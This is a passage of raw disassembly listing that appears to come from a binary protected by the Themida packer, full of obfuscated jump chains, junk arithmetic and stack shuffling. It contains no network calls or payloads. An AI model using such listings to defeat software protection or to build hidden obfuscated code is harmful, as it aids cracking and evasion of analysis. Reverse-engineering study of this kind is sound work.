[esp+14h+var_16+2], ebx jmp loc_597424 ; --------------------------------------------------------------------------- loc_597795: ; CODE XREF: sub_59196D+6A8Fj pop [esp+14h+var_16+2] pop esp mov [esp+0Ch+var_C], eax mov ah, 38h jmp loc_597B60 ; --------------------------------------------------------------------------- loc_5977A3: ; CODE XREF: sub_59196D-34FFj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5977A8: ; CODE XREF: sub_59196D+1622j sub esi, eax pop eax xor eax, esi mov esi, [esp+18h+var_1A+2] push esi jmp loc_591C35 ; --------------------------------------------------------------------------- loc_5977B6: ; CODE XREF: sub_59196D-4359j pop edx push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp+0] mov esp, [esp+0] mov [esp+0], esi mov esi, 65CE7299h jmp loc_595069 ; --------------------------------------------------------------------------- loc_5977D3: ; CODE XREF: sub_59196D+1252j add ebx, ecx add ebx, 74B36A0Fh mov [ebx], eax mov ebx, [esp+18h+var_1A+2] add esp, 4 mov ecx, [esp+14h+var_16+2] jmp loc_592C50 ; --------------------------------------------------------------------------- loc_5977EE: ; CODE XREF: sub_59196D+48BBj mov ebp, 71F9072Eh push edx mov edx, 1ED30727h jmp loc_59782F ; --------------------------------------------------------------------------- loc_5977FE: ; CODE XREF: sub_59196D-3AEAj add ecx, 630755B0h mov [edi+24h], ecx pop ecx pop edx xor edx, edx push 6997h mov [esp+2Ch+var_2E+2], esi push esp pop esi add esi, 4 sub esi, 4 push esi push [esp+30h+var_2E+2] push [esp+34h+var_36+2] pop esi jmp loc_597926 ; --------------------------------------------------------------------------- loc_59782F: ; CODE XREF: sub_59196D+5E8Cj neg edx or edx, 364D4E3Fh neg edx add edx, 68F75C89h jmp loc_597E2E ; --------------------------------------------------------------------------- loc_597844: ; CODE XREF: sub_59196D-30D0j push edi push ecx push 26A019Dh jmp loc_5924C7 ; --------------------------------------------------------------------------- loc_597850: ; CODE XREF: sub_59196D+5C9Cj xor al, 37h mov bl, al push [esp+2Eh+var_2E] pop eax jmp loc_597FBC ; --------------------------------------------------------------------------- loc_59785D: ; CODE XREF: sub_59196D+12C6j pop edx add edx, 4 push 2AF3h mov [esp+0Ah+var_C+2], eax sub esp, 4 jmp loc_598185 ; --------------------------------------------------------------------------- loc_597877: ; CODE XREF: sub_59196D+4507j add esi, 4 xchg esi, [esp+44h+var_44] jmp loc_593C43 ; --------------------------------------------------------------------------- loc_597882: ; CODE XREF: sub_59196D-201Aj ; sub_59196D+3AE1j jmp loc_59416A ; --------------------------------------------------------------------------- loc_597887: ; CODE XREF: sub_59196D+24C9j push edx mov edx, 2B404F1Fh shr edx, 7 jmp loc_58B812 ; --------------------------------------------------------------------------- loc_597895: ; CODE XREF: sub_59196D+60D2j push esi mov esi, 3DBC0580h jmp loc_59820C ; --------------------------------------------------------------------------- loc_5978A0: ; CODE XREF: sub_59196D-5521j ; sub_59196D+39D0j push [esp-0Ch+arg_8] pop edi push 4456h mov [esp-8+arg_4], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] pop esp xor ebx, eax push small word ptr [eax] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5978CA: ; CODE XREF: sub_59196D-5B59j ; sub_59196D+2A81j sub bl, al pop eax sub bl, 33h xor bl, 0A2h sub esp, 4 mov [esp+2Eh+var_2E], eax push edx mov dh, bl mov ah, dh pop edx mov dh, ah mov eax, [esp+2Eh+var_2E] add esp, 4 pop ebx xor al, dh mov dx, word ptr [esp+26h+var_26] add esp, 2 sub esp, 2 mov word ptr [esp+26h+var_26], dx mov dl, 52h add bl, 0EFh jmp loc_58BD1C ; --------------------------------------------------------------------------- loc_597908: ; CODE XREF: sub_59196D-2979j push edx push 135C6F1Dh mov edx, [esp-0Ch+arg_8] add esp, 4 push ecx jmp loc_58C0F8 ; --------------------------------------------------------------------------- loc_59791D: ; CODE XREF: sub_59196D-60DCj sub al, 7Dh mov dh, al jmp loc_58EEE5 ; --------------------------------------------------------------------------- loc_597926: ; CODE XREF: sub_59196D+5EBDj sub esp, 4 jmp loc_58FE42 ; --------------------------------------------------------------------------- loc_59792E: ; CODE XREF: sub_59196D+314j add esp, 4 jmp sub_58CD7E ; --------------------------------------------------------------------------- loc_597939: ; CODE XREF: sub_59196D-3F7Aj xor edx, [esp+0Ch+var_C] pop esp jmp loc_591317 ; --------------------------------------------------------------------------- loc_597942: ; CODE XREF: sub_59196D-5C2Aj sub esp, 4 mov [esp+2Ah+var_2A], ecx push edi push esp jmp loc_5933FB ; --------------------------------------------------------------------------- loc_597952: ; CODE XREF: sub_59196D+1EDDj push edx jmp loc_58EC56 ; --------------------------------------------------------------------------- loc_597958: ; CODE XREF: sub_59196D-4401j pop ebx push [esp+24h+var_26+2] jmp loc_58E6B7 ; --------------------------------------------------------------------------- loc_597961: ; CODE XREF: sub_59196D+57F6j neg edx shl edx, 7 jmp loc_58C84D ; --------------------------------------------------------------------------- loc_59796B: ; CODE XREF: sub_59196D+37BBj pop esi jmp loc_5903DA ; --------------------------------------------------------------------------- loc_597971: ; CODE XREF: sub_59196D+6A5Ej push ebx mov ebx, esp jmp loc_58C4EF ; --------------------------------------------------------------------------- loc_597979: ; CODE XREF: sub_59196D-4944j mov ebx, esp push 4588h mov [esp+20h+var_22+2], ecx jmp loc_58CC63 ; --------------------------------------------------------------------------- loc_597988: ; CODE XREF: sub_59196D-60F0j shl esi, 3 jp loc_596662 sub esp, 4 jmp loc_59399E ; --------------------------------------------------------------------------- loc_59799C: ; CODE XREF: sub_59196D+40F8j mov [esp+20h+var_22+2], edi mov edi, 51EA0D23h jmp loc_58E9A6 ; --------------------------------------------------------------------------- loc_5979A9: ; CODE XREF: sub_59196D+4035j ; sub_59196D+5A13j pop edx pop [esp+2Eh+var_2E] pop esp push edi mov edi, 7B053782h xor edi, 534F21A9h shl edi, 3 neg edi sub edi, 491E7466h not edi sub edi, 8B6F25BBh jmp loc_5931AF ; --------------------------------------------------------------------------- loc_5979D2: ; CODE XREF: sub_58C816+3A03j mov ebx, 16610FB1h sub ebx, 16610FB1h mov edx, ebx pop ebx sub edx, 50D92956h sub edx, edi add edx, 50D92956h xchg edx, edi pop edx jmp loc_591082 ; --------------------------------------------------------------------------- loc_5979F6: ; CODE XREF: sub_59196D+272Aj pop eax mov ecx, [esp-4+arg_0] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push ebx mov ebx, 5AB76B11h xchg esi, ebx jmp loc_58F254 ; --------------------------------------------------------------------------- loc_597A17: ; CODE XREF: sub_59196D-5B26j add esi, 4 push edx mov edx, 4 add esi, edx pop edx push esi push [esp+36h+var_32] push [esp+3Ah+var_3C+2] pop esi jmp loc_58E06D ; --------------------------------------------------------------------------- loc_597A34: ; CODE XREF: sub_59196D-478Aj ; sub_59196D+13Cj sub ecx, 35BFA80h add edi, ecx pop ecx add edi, ecx jmp loc_597895 ; --------------------------------------------------------------------------- loc_597A44: ; CODE XREF: sub_59196D-4617j mov ebp, [esp+4Eh+var_4E] jmp loc_592D8C ; --------------------------------------------------------------------------- loc_597A4C: ; CODE XREF: sub_59196D-6045j add [esp+1Ch+var_1E+2], 4 jmp loc_597D10 ; --------------------------------------------------------------------------- loc_597A58: ; CODE XREF: sub_59196D-37ECj mov edx, [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_12+2], ecx mov ecx, esp jmp loc_594830 ; --------------------------------------------------------------------------- loc_597A68: ; CODE XREF: sub_59196D+13C8j mov ecx, esp push esi mov esi, 33801EEAh xor esi, 31FA187Dh shl esi, 3 shr esi, 2 dec esi or esi, 3B822616h sub esi, 3FF62F3Bh add ecx, esi pop esi jmp loc_590063 ; --------------------------------------------------------------------------- loc_597A91: ; CODE XREF: sub_59196D+4ADj mov edx, 1BAC68D1h xor edx, 280F607Ch add edx, 0FFADF35Ah add ebp, edx pop edx xor eax, ebp jmp loc_59596A ; --------------------------------------------------------------------------- loc_597AAC: ; CODE XREF: sub_59196D+4E2Bj pop ebp jmp loc_5971C8 ; --------------------------------------------------------------------------- loc_597AB2: ; CODE XREF: sub_59196D+5A68j sub ecx, edx mov edx, [esp+6+var_8+2] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_591507 ; --------------------------------------------------------------------------- loc_597ACB: ; CODE XREF: sub_59196D+3C84j pop eax jmp sub_58B8EB ; --------------------------------------------------------------------------- loc_597AD1: ; CODE XREF: sub_59196D+6ABBj mov ebp, [esp+1Ch+var_1E+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+20h+var_22+2] pop esp or edx, eax shl edx, 1 push ebp jmp loc_596EAA ; --------------------------------------------------------------------------- loc_597AEE: ; CODE XREF: sub_59196D-540Cj push edx mov edx, 20026218h sub ebp, edx pop edx add ebp, 78A47ECEh add ebp, ecx sub ebp, 78A47ECEh push ecx jmp loc_595729 ; --------------------------------------------------------------------------- loc_597B0B: ; CODE XREF: sub_59196D+2972j sub ecx, 0AA20915h add ecx, esi jmp loc_5976D4 ; --------------------------------------------------------------------------- loc_597B18: ; CODE XREF: sub_59196D+5D6Fj xchg ecx, [esp+4+var_4] pop esp push edi mov edi, esp add edi, 4 jmp loc_5951B3 ; --------------------------------------------------------------------------- loc_597B2A: ; CODE XREF: sub_59196D+68E2j pop esi jmp sub_590F7A ; --------------------------------------------------------------------------- loc_597B30: ; CODE XREF: sub_59196D+4664j push ecx mov ecx, 4 add ebp, ecx jmp loc_58C067 ; --------------------------------------------------------------------------- loc_597B3D: ; CODE XREF: sub_59196D-CB6j mov eax, [esp+24h+var_26+2] add esp, 4 sub eax, edi mov edi, [esp+20h+var_22+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+24h+var_26+2] jmp loc_58CA4C ; --------------------------------------------------------------------------- loc_597B60: ; CODE XREF: sub_59196D+5E31j dec ah jge loc_58ED58 xor ah, 51h jmp loc_59718D ; --------------------------------------------------------------------------- sub esp, 4 loc_597B73: ; CODE XREF: sub_59196D+361Cj sub ax, 4194h sub ax, di push cx push ebx mov bx, 4194h jmp loc_5983B2 ; --------------------------------------------------------------------------- push [esp+16h+var_16] push [esp+1Ah+var_1A] pop ecx add esp, 4 sub esp, 4 mov [esp+1Ah+var_1A], eax sub esp, 4 mov [esp+1Eh+var_1E], esp add [esp+1Eh+var_1E], 4 jmp loc_596E5F ; --------------------------------------------------------------------------- loc_597BAE: ; CODE XREF: sub_59196D+240Fj pop ebx jmp loc_59467A ; --------------------------------------------------------------------------- loc_597BB4: ; CODE XREF: sub_59196D-510Aj mov dx, word ptr [esp+10h+var_12+2] sub esp, 4 mov [esp+14h+var_16+2], ecx push esp pop ecx add ecx, 4 add ecx, 2 push ecx push [esp+18h+var_16+2] jmp loc_596972 ; --------------------------------------------------------------------------- loc_597BD3: ; CODE XREF: sub_59196D-437Cj add ecx, 4 xchg ecx, [esp+1Ch+var_1E+2] pop esp push 3675h mov [esp+1Ch+var_1E+2], ecx jmp loc_58B5B9 ; --------------------------------------------------------------------------- loc_597BE7: ; CODE XREF: sub_59196D-3D62j mov ebp, 52824DA2h push 2AB4h mov [esp+24h+var_26+2], ebx mov ebx, 792811FDh jmp loc_5939A4 ; --------------------------------------------------------------------------- loc_597BFE: ; CODE XREF: sub_59196D+CBFj sub esp, 4 mov [esp+42h+var_44+2], edi mov edi, 2 add ecx, edi pop edi jmp loc_590056 ; --------------------------------------------------------------------------- loc_597C11: ; CODE XREF: sub_59196D+68BAj pop eax xchg ecx, [esp+3Ah+var_3C+2] mov esp, [esp+3Ah+var_3C+2] cmp cx, ax pushf jmp loc_58F78B ; --------------------------------------------------------------------------- loc_597C21: ; CODE XREF: sub_59196D+1F78j push 0C8Fh jmp loc_58FB3E ; --------------------------------------------------------------------------- loc_597C2B: ; CODE XREF: sub_59196D+15F8j sub ebx, 3ED61EB1h add ebx, edi jmp sub_58F42B ; --------------------------------------------------------------------------- loc_597C38: ; DATA XREF: Themida_:0058B104o lodsd xor eax, ebx jmp loc_595742 ; --------------------------------------------------------------------------- loc_597C40: ; CODE XREF: sub_59196D+30C3j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp+14h+var_16+2] xor [esp+14h+var_16+2], edx xor edx, [esp+14h+var_16+2] pop esp add [esp+10h+var_12+2], eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- neg byte ptr [esp+14h+var_16+2] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597C6A: ; CODE XREF: sub_59196D+2D99j add bl, 0A7h xor bl, 8Bh sub esp, 4 jmp loc_58D09B ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597C83: ; CODE XREF: sub_59196D+30A0j inc dl add dl, 0CDh sub ch, dl jmp loc_593180 ; --------------------------------------------------------------------------- loc_597C8F: ; CODE XREF: sub_59196D-3291j mov ecx, [esp+3Eh+var_40+2] add esp, 4 and eax, edi mov edi, [esp+3Ah+var_3C+2] add esp, 4 or edx, eax jmp loc_592686 ; --------------------------------------------------------------------------- loc_597CAA: ; CODE XREF: sub_59196D-3FE5j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+18h+var_1A+2] pop esp shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp+18h+var_1A+2], edi push esp pop edi push esi jmp loc_590651 ; --------------------------------------------------------------------------- loc_597CCF: ; CODE XREF: sub_59196D-5A0Fj and edx, 6E70608Eh and edx, 29074C85h push ecx mov ecx, 15E60F41h and edx, ecx pop ecx sub edx, 0FFFFFFFEh sub esi, 29E20168h jmp loc_591A27 ; --------------------------------------------------------------------------- loc_597CF5: ; CODE XREF: sub_59196D+30E7j and bh, 1Fh jmp loc_596C79 ; --------------------------------------------------------------------------- loc_597CFD: ; CODE XREF: sub_59196D-3C4Fj push esp pop edi push ecx mov ecx, 4 add edi, 0BEC7ABDh jmp loc_5956FE ; --------------------------------------------------------------------------- loc_597D10: ; CODE XREF: sub_59196D+60E6j mov edx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_595FA9 ; --------------------------------------------------------------------------- lodsb sub al, 0BBh jmp sub_5917FA ; --------------------------------------------------------------------------- loc_597D23: ; CODE XREF: sub_59196D+3DD0j sub ebx, 39BA0C49h xor ebx, 576A136Ah sub ebp, ebx pop ebx add ebp, ecx jmp loc_58F3F8 ; --------------------------------------------------------------------------- loc_597D39: ; CODE XREF: sub_59196D-1400j push [esp+2Ah+var_2A] jmp loc_5918A7 ; --------------------------------------------------------------------------- loc_597D41: ; CODE XREF: sub_59196D-1432j mov edi, ecx mov esi, edi pop edi pop ecx shr esi, 2 shr esi, 7 jmp loc_58EE4B ; --------------------------------------------------------------------------- loc_597D52: ; CODE XREF: sub_59196D+3841j mov esp, [esp+18h+var_1A+2] btc word ptr [esp+18h+var_1A+2], ax pushf jmp loc_5946E6 ; --------------------------------------------------------------------------- loc_597D60: ; CODE XREF: sub_59196D-398Dj add [esp+32h+var_2E], 25354F66h pop ebx sub [esp+2Eh+var_2E], eax sub esp, 4 mov [esp+32h+var_32], ebx jmp loc_593FAA ; --------------------------------------------------------------------------- loc_597D7A: ; CODE XREF: sub_59196D+25B2j mov esi, 78F57ED8h sub esi, ebx pop ebx mov eax, esi mov esi, [esp+14h+var_16+2] push edx mov edx, esp jmp loc_596E06 ; --------------------------------------------------------------------------- loc_597D8F: ; CODE XREF: sub_58C376+20F0j add dh, al add dh, 24h pop eax sub dh, al push eax jmp loc_58B791 ; --------------------------------------------------------------------------- loc_597D9D: ; DATA XREF: Themida_:0058B120o mov cx, word ptr [esp+18h+var_1A+2] push 5FAEh mov [esp+1Ch+var_1E+2], ecx push esp pop ecx sub esp, 4 mov [esp+20h+var_22+2], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], ebx mov ebx, 4FAE7A78h inc ebx jmp loc_58D4F4 ; --------------------------------------------------------------------------- loc_597DCE: ; CODE XREF: sub_59196D+67B5j mov [esp+1Ch+var_1E+2], eax mov eax, 0B7E0BFFh sub [esp+1Ch+var_16+2], eax pop eax add [esp+18h+var_16+2], edi add [esp+18h+var_16+2], 0B7E0BFFh sub [esp+18h+var_16+2], 46173E99h pop edi jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597DF5: ; CODE XREF: sub_59196D-3522j sub ecx, 3AB8D768h add edi, ecx pop ecx add edi, 4 jmp loc_593508 ; --------------------------------------------------------------------------- loc_597E06: ; CODE XREF: sub_59196D-2F13j push ecx jmp loc_58F2AB ; --------------------------------------------------------------------------- loc_597E0C: ; CODE XREF: sub_59196D+905j ; sub_59196D+DC2j push esi jmp loc_593596 ; --------------------------------------------------------------------------- loc_597E12: ; CODE XREF: sub_59196D-4AB6j mov edx, 133F40B5h not edx add edx, 7DC30CB1h sub edx, 6A83CBF7h add esi, edx pop edx push edx jmp loc_59407C ; --------------------------------------------------------------------------- loc_597E2E: ; CODE XREF: sub_59196D+5ED2j or ebp, edx pop edx or ebp, 26A632FBh add ebp, 88008005h add esi, ebp pop ebp sub esi, 4 jmp loc_58EECE ; --------------------------------------------------------------------------- loc_597E48: ; CODE XREF: Themida_:0058FE1Cj shr al, 7 jz loc_58C633 neg al jp loc_591D40 mov bl, dh mov cl, dl loc_597E5D: ; CODE XREF: Themida_:0058FE2Dj ; sub_59196D+5581j xor dh, al xor al, dh push small 32C7h jmp loc_594BA1 ; --------------------------------------------------------------------------- loc_597E6A: ; CODE XREF: sub_59196D+4590j sub al, 8Fh pop ecx add al, 1Dh sub al, bl jmp loc_590540 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ah+var_1A] push eax push 2BD2h sub esp, 4 mov [esp+26h+var_26], esp add [esp+26h+var_26], 4 pop [esp+26h+var_26] add [esp+22h+var_22], 4 jmp loc_58FF86 ; --------------------------------------------------------------------------- loc_597E9C: ; CODE XREF: sub_59196D+1157j mov [esp+24h+var_26+2], ebx mov bh, 6Ch not bh inc bh and bh, 0F5h sub bh, 1Ah push edx mov dh, 0C5h not dh neg dh dec dh sub esp, 4 mov [esp+2Ch+var_2E+2], ebx push ecx jmp loc_596B78 ; --------------------------------------------------------------------------- loc_597EC3: ; CODE XREF: sub_59196D+1E77j mov [esp+44h+var_44], esp push ecx mov ecx, 4 add [esp+48h+var_44], ecx pop ecx pop ebp push edx mov edx, 5ED507DAh not edx shr edx, 8 sub edx, 0A12AF4h add ebp, edx pop edx sub esp, 4 mov [esp+44h+var_44], eax mov eax, 2 add ebp, eax mov eax, [esp+44h+var_44] jmp loc_58B738 ; --------------------------------------------------------------------------- loc_597EFE: ; CODE XREF: sub_59196D+208Bj mov bh, ah push ecx push eax mov ah, bh mov cl, ah pop eax jmp loc_58EA5F ; --------------------------------------------------------------------------- loc_597F0C: ; CODE XREF: sub_59196D+1C1Ej mov [esp+2Eh+var_2E], ebp push edi jmp loc_58C2CD ; --------------------------------------------------------------------------- loc_597F15: ; CODE XREF: sub_59196D-377Ej push ecx not dword ptr [esp+0] mov ecx, [esp+0] push edi mov edi, esp jmp loc_59397B ; --------------------------------------------------------------------------- loc_597F24: ; CODE XREF: sub_59196D+2354j sub edx, eax add edx, 4BDD51CEh mov eax, [esp+1Ch+var_1E+2] add esp, 4 push edx pop eax push [esp+18h+var_1A+2] mov edx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_59085C ; --------------------------------------------------------------------------- loc_597F48: ; CODE XREF: sub_59196D-5453j add esp, 4 pop [esp+0Ah+var_C+2] pop esp push 10A7h mov [esp+6+var_8+2], ebp mov ebp, 4F1C6558h push ecx mov ecx, 0EE15503h push ebx mov ebx, 4CB0261Fh sub eax, ebx pop ebx sub eax, ecx add eax, 4CB0261Fh pop ecx add eax, 4CD95517h jmp loc_590C76 ; --------------------------------------------------------------------------- loc_597F7D: ; CODE XREF: sub_59196D+21D6j mov ecx, [esp+14h+var_16+2] sub esp, 4 mov [esp+18h+var_1A+2], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5936DE ; --------------------------------------------------------------------------- loc_597F99: ; CODE XREF: sub_59196D-3003j pop esp jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597F9F: ; CODE XREF: sub_59196D+2BDCj mov dl, cl mov ecx, [esp+0] add esp, 4 sub dl, 12h add dl, al add dl, 12h pop eax not dl inc dl jmp loc_58D0D5 ; --------------------------------------------------------------------------- loc_597FBC: ; CODE XREF: sub_59196D+5EEBj add esp, 4 sub al, 81h sub al, bl push edx mov dl, 2Eh sub dl, 0ADh add al, dl pop edx mov bx, word ptr [esp+2Ah+var_2A] jmp loc_58E21D ; --------------------------------------------------------------------------- loc_597FD8: ; CODE XREF: sub_59196D-4B61j mov esp, [esp+20h+var_22+2] push eax mov eax, esp add eax, 4 sub eax, 4 push eax push [esp+28h+var_26+2] pop eax pop [esp+28h+var_2A+2] pop esp mov [esp+20h+var_22+2], edx push eax mov eax, 26A226AEh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+28h+var_2A+2] pop esp mov [esp+24h+var_26+2], ebp jmp loc_593DD1 ; --------------------------------------------------------------------------- loc_598014: ; CODE XREF: sub_59196D+3633j add ebp, 4 xchg ebp, [esp+0] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp push edx push 25A8h mov [esp+3Ch+var_3C], esp add [esp+3Ch+var_3C], 4 pop edx jmp loc_594AA1 ; --------------------------------------------------------------------------- loc_598041: ; CODE XREF: sub_59196D-2A87j jmp loc_58D838 ; --------------------------------------------------------------------------- loc_598046: ; CODE XREF: sub_59196D:loc_593B76j xor edx, 380639FFh jge loc_5938AE jmp loc_596AB2 ; --------------------------------------------------------------------------- push [esp+6+var_8+2] mov edi, ecx loc_59805C: ; CODE XREF: sub_59196D+31B2j jmp loc_595241 ; --------------------------------------------------------------------------- loc_598061: ; CODE XREF: sub_59196D+C0Fj mov ebx, esp push edx push ebp mov ebp, 4 mov edx, ebp pop ebp add ebx, edx pop edx add ebx, 4 xor ebx, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebx xor ebx, [esp+10h+var_12+2] pop esp push small 2D9Bh mov [esp+0], bx push ebx jmp loc_58DFA6 ; --------------------------------------------------------------------------- loc_59808E: ; CODE XREF: sub_59196D-5D1Fj ; Themida_:0058CA6Fj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_598093: ; CODE XREF: sub_59196D+3BF9j pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], ebx mov ebx, 4 add ebp, ebx jmp loc_59055B ; --------------------------------------------------------------------------- loc_5980B3: ; DATA XREF: Themida_:0058B114o mov cx, word ptr [esp+1Ch+var_1E+2] jmp loc_5971F6 ; --------------------------------------------------------------------------- loc_5980BC: ; CODE XREF: sub_59196D-331Cj add esi, 1B657C3Ch add edx, esi pop esi jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5980CA: ; CODE XREF: sub_59196D+202Cj xchg eax, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] mov ax, word ptr [esp+2+var_4+2] sub esp, 4 mov [esp+6+var_8+2], edi mov edi, esp jmp loc_593FF4 ; --------------------------------------------------------------------------- loc_5980E4: ; CODE XREF: sub_59196D+523Fj xor esi, 10956C1Eh push ebx jmp loc_5906A0 ; --------------------------------------------------------------------------- loc_5980F0: ; CODE XREF: sub_59196D+5269j push ebp mov ebp, 316F1409h sub edx, ebp jmp loc_596A84 ; --------------------------------------------------------------------------- loc_5980FD: ; CODE XREF: sub_59196D-33ECj add ebp, eax pop eax pop eax add ebp, 2 xchg ebp, [esp+1Ch+var_1E+2] jmp loc_59583F ; --------------------------------------------------------------------------- loc_59810F: ; CODE XREF: sub_59196D+3CEj mov esp, [esp+24h+var_26+2] jmp loc_5915C7 ; --------------------------------------------------------------------------- loc_598117: ; CODE XREF: sub_59196D+516Dj add [esp+34h+var_2E+2], eax pop eax sub esp, 4 jmp loc_597DCE ; --------------------------------------------------------------------------- loc_598127: ; CODE XREF: sub_59196D+4513j push 175C4C1Dh pop edx xor edx, 7E776F14h neg edx not edx jmp loc_59139A ; --------------------------------------------------------------------------- loc_59813C: ; CODE XREF: sub_59196D+42CDj push ecx jmp loc_5935A0 ; --------------------------------------------------------------------------- loc_598142: ; CODE XREF: sub_59196D+5197j add esp, 4 jmp loc_5929D1 ; --------------------------------------------------------------------------- loc_59814D: ; CODE XREF: sub_59196D+576Cj mov edx, eax push edx pop edi mov edx, [esp+20h+var_22+2] add esp, 4 pop eax xor [esp+18h+var_16+2], edi pop edi pop edi xor edi, 292A2882h pop ebp and eax, edi push [esp+0Ch+var_C] jmp loc_58D41E ; --------------------------------------------------------------------------- loc_59816F: ; CODE XREF: sub_59196D+286Fj mov edx, ecx pop ecx jmp loc_590427 ; --------------------------------------------------------------------------- loc_598177: ; CODE XREF: sub_59196D-21F2j push ebx push ebp jmp loc_591D89 ; --------------------------------------------------------------------------- loc_59817E: ; CODE XREF: sub_59196D+B38j mov eax, esp jmp loc_58FFE8 ; --------------------------------------------------------------------------- loc_598185: ; CODE XREF: sub_59196D+5F05j mov [esp+0], edx push 45FC538Bh pop edx and edx, 5A801858h jmp loc_58EBFE ; --------------------------------------------------------------------------- loc_598199: ; CODE XREF: sub_59196D+116Cj mov ecx, 58744531h jmp loc_58F7EA ; --------------------------------------------------------------------------- loc_5981A3: ; CODE XREF: sub_59196D-414Aj pop esi xchg eax, [esp+3Eh+var_40+2] pop esp mov cx, word ptr [esp+3Ah+var_3C+2] push 1B3Dh mov [esp+3Eh+var_40+2], ebp jmp loc_58BEBF ; --------------------------------------------------------------------------- loc_5981B9: ; CODE XREF: sub_59196D+5BDj pop [esp+1Ch+var_1E+2] add [esp+18h+var_1A+2], 4 jmp loc_5938EA ; --------------------------------------------------------------------------- lodsb jmp loc_5911E9 ; --------------------------------------------------------------------------- loc_5981CE: ; CODE XREF: Themida_:0058FC04j ; sub_59196D-C1Ej push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] push ebp mov ebp, 2 add ebx, ebp pop ebp xchg ebx, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] sub esp, 4 mov [esp+1Ch+var_1E+2], ebx push 412Fh mov [esp+20h+var_22+2], ecx push esp pop ecx push eax mov eax, 4 add ecx, eax jmp loc_58D695 ; --------------------------------------------------------------------------- loc_59820C: ; CODE XREF: sub_59196D+5F2Ej push edx mov edx, 4A754722h jmp loc_5939BB ; --------------------------------------------------------------------------- loc_598217: ; CODE XREF: sub_59196D+185Ej mov ebx, 59290278h sub ebx, 0D92891EDh add eax, ebx pop ebx add ecx, eax jmp loc_597C11 ; --------------------------------------------------------------------------- loc_59822C: ; CODE XREF: sub_59196D-5E3j mov edx, 56637468h shr edx, 6 dec edx jmp loc_58B7E6 ; --------------------------------------------------------------------------- loc_59823A: ; CODE XREF: sub_59196D+4DF7j pop edi xchg esi, [esp+0] mov esp, [esp+0] std push 0E0Eh mov [esp+54h+var_54], esi push 7D140152h jmp loc_597B2A ; --------------------------------------------------------------------------- loc_598254: ; CODE XREF: sub_59196D+1367j add edi, 171F7C72h jmp loc_596C72 ; --------------------------------------------------------------------------- loc_59825F: ; DATA XREF: Themida_:0058B0A4o push [esp+2+var_4+2] mov eax, [esp+6+var_8+2] add esp, 4 jmp loc_58BBF6 ; --------------------------------------------------------------------------- loc_59826D: ; CODE XREF: sub_59196D+4849j push esi mov esi, 4 add edx, 1C411A76h add edx, esi sub edx, 1C411A76h pop esi xchg edx, [esp+14h+var_16+2] pop esp jmp loc_5921A6 ; --------------------------------------------------------------------------- loc_59828B: ; CODE XREF: sub_59196D-5999j push eax mov eax, 21646E9Ch or eax, 3F145E8Fh sub eax, 0AA31AF3h shr eax, 6 jmp sub_59069A ; --------------------------------------------------------------------------- loc_5982A3: ; CODE XREF: sub_59196D-3777j pop ebx xchg edx, [esp+30h+var_32+2] pop esp and eax, ebp mov ebp, [esp+2Ch+var_2E+2] add esp, 4 or edx, eax shl edx, 1 push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp+2Ch+var_2E+2] pop esp jmp loc_595292 ; --------------------------------------------------------------------------- loc_5982CF: ; CODE XREF: sub_59196D+53A9j mov esp, [esp+24h+var_26+2] jmp loc_59251B ; --------------------------------------------------------------------------- push [esp+24h+var_26+2] mov ecx, [esp+28h+var_2A+2] push 1758h mov [esp+2Ch+var_2E+2], ebp jmp loc_5949CC ; --------------------------------------------------------------------------- loc_5982EA: ; CODE XREF: sub_59196D-46BFj add edx, 34826E12h jp loc_58F0B1 not edx jmp loc_592455 ; --------------------------------------------------------------------------- loc_5982FD: ; CODE XREF: sub_59196D-1D3Aj xor [esp+14h+var_16+2], 61F4B69h push [esp+14h+var_16+2] push [esp+18h+var_1A+2] pop ecx add esp, 4 add esp, 4 jmp loc_598358 ; --------------------------------------------------------------------------- loc_59831C: ; CODE XREF: sub_59196D-300Bj pop ebx jmp loc_58F1C9 ; --------------------------------------------------------------------------- loc_598322: ; CODE XREF: sub_59196D-44ABj mov edi, 4FF57753h sub edi, 0EDC02973h add eax, edi pop edi pop edx jmp loc_58C5D7 ; --------------------------------------------------------------------------- loc_598336: ; CODE XREF: sub_59196D-831j mov ecx, esi mov esi, [esp-0Ch+arg_8] jmp loc_58DEA4 ; --------------------------------------------------------------------------- push [esp-0Ch+arg_8] jmp loc_59136C ; --------------------------------------------------------------------------- loc_598348: ; CODE XREF: sub_59196D-3B1Ej neg al push ebx mov bh, 6Ch jmp loc_5951DE ; 